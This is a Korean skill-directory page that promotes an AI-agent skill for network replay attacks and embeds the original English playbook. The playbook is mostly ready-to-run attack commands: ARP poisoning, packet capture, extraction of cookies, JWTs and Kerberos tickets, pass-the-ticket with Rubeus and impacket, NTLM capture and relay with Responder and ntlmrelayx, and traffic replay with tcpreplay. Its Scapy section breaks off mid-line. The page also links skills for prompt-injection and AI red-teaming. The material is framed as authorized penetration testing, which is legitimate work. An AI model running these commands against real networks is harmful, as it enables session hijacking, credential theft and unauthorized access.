network-replay
하는 일
이 가이드는 캡처된 네트워크 메시지를 다시 보내 인증을 테스트하는 방법을 다룹니다. 프로토콜이 새로운 값을 쓰는지, 세션이 보호되는지 확인하는 보안 팀을 위한 것입니다.
사용하는 경우
- ✓허가된 테스트가 트래픽을 캡처했고 그것을 다시 보낼 수 있는지 확인해야 할 때.
- ✓팀이 로그인 메시지가 일회용 값이나 타임스탬프를 쓰는지 확인하려는 경우.
- ✓프로토콜이 오래된 메시지를 신선도 확인 없이 받아들일 수 있을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“허가된 테스트에서 로그인 트래픽을 캡처했습니다. 서버가 같은 메시지를 다시 받아들일지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 캡처된 메시지에서 논스, 타임스탬프, 세션 값을 살펴보고, 허가된 범위에서 서버가 반복을 거부하는지 테스트합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Network Replay Attack Playbook
Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.
Overview
A replay attack reuses previously captured, valid network messages to re-authenticate or re-authorize without knowing the underlying secret. CAI's dedicated replay-attack agent covers this as a distinct offensive primitive. Decepticon routes it here from any engagement where valid traffic has been captured and the auth token / session state is reusable.
Tool inventory
# Verify tools available (standard Kali)
which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null
pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'
Phase 1 — Traffic Capture
Passive capture on a local segment
# Broad capture — filter to target host post-hoc
sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip>
# Targeted: capture only authentication-relevant ports
sudo tcpdump -i <iface> -w /tmp/auth.pcap \
'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)'
# If you have a SPAN/mirror port feeding into the attacker NIC:
sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0
Capture via MITM (ARP poisoning prerequisite)
# ARP poison victim <-> gateway to intercept traffic
sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> &
sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> &
# Enable IP forwarding to stay transparent
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>
Phase 2 — Extract Replayable Material
HTTP session tokens and cookies
tshark -r /tmp/capture.pcap \
-Y 'http.request.method == "POST" || http.cookie' \
-T fields -e frame.number -e ip.src -e http.cookie \
-e http.authorization -e http.file_data 2>/dev/null | head -50
# Extract cookie / Authorization header value for direct reuse
tshark -r /tmp/capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie 2>/dev/null | sort -u
JWT tokens
# JWTs appear in Authorization: Bearer headers or JSON bodies
tshark -r /tmp/capture.pcap \
-Y 'http.authorization contains "Bearer"' \
-T fields -e http.authorization 2>/dev/null | \
grep -oP 'Bearer \K[A-Za-z0-9._-]+'
Decode and inspect without verification (note: this does NOT forge — just inspects claims to understand expiry, role, subject):
import base64, json
token = "<paste_jwt>"
header, payload, sig = token.split('.')
print(json.loads(base64.b64decode(payload + '==').decode()))
Kerberos TGT / TGS ticket replay (Pass-the-Ticket)
# Extract Kerberos AS-REP / TGS-REP from capture
tshark -r /tmp/capture.pcap -Y 'kerberos' \
-T fields -e kerberos.msg_type -e kerberos.CNameString \
-e kerberos.realm 2>/dev/null | head -30
# If you have code execution on a Windows host — dump tickets in memory
# (credential-access domain; use from post-exploit context)
# Rubeus.exe dump /luid:<logon_id> /service:krbtgt /nowrap
# Then inject: Rubeus.exe ptt /ticket:<base64_kirbi>
# Impacket-based PTT (Linux) after extracting .ccache file
export KRB5CCNAME=/tmp/stolen.ccache
python3 /opt/impacket/examples/psexec.py -k -no-pass <target>
NTLM Net-NTLMv2 capture for relay (not crack)
This is the relay path, not hash crack. See ad/ntlm-relay for full relay
playbook. Capture with Responder:
sudo responder -I <iface> -wdF # capture Net-NTLMv2 hashes
# For relay (not crack): pipe directly to ntlmrelayx
sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support
Phase 3 — Replay Execution
Raw PCAP replay with tcpreplay
# Extract specific frames to replay
tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \
-Y 'frame.number >= 150 && frame.number <= 180'
# Replay at original rate to target
sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap
# Replay with destination MAC/IP rewrite (different target host)
tcprewrite --srcipmap=<orig_src>:<new_src> \
--dstipmap=<orig_dst>:<new_dst> \
--enet-dmac=<target_mac> \
--infile=/tmp/auth_only.pcap \
--outfile=/tmp/rewritten.pcap
sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap
Scapy session token injection
from scapy.all import rdpcap, IP, TCP, Raw, send
pack
자주 묻는 질문
재생 공격이란 무엇인가요?
유효한 캡처 메시지를 다시 보내서 서버가 다시 받아들이게 하는 것입니다.
서버는 어떻게 막나요?
가이드에 따르면 일회용 값, 타임스탬프, 세션 확인을 사용합니다.
캡처에도 허가가 필요한가요?
네. 가이드는 패킷 캡처가 대상 서브넷과 프로토콜에 대해 명시적으로 허가되어야 한다고 말합니다.
상세 정보
작성자의 원본 설명
PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14137
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.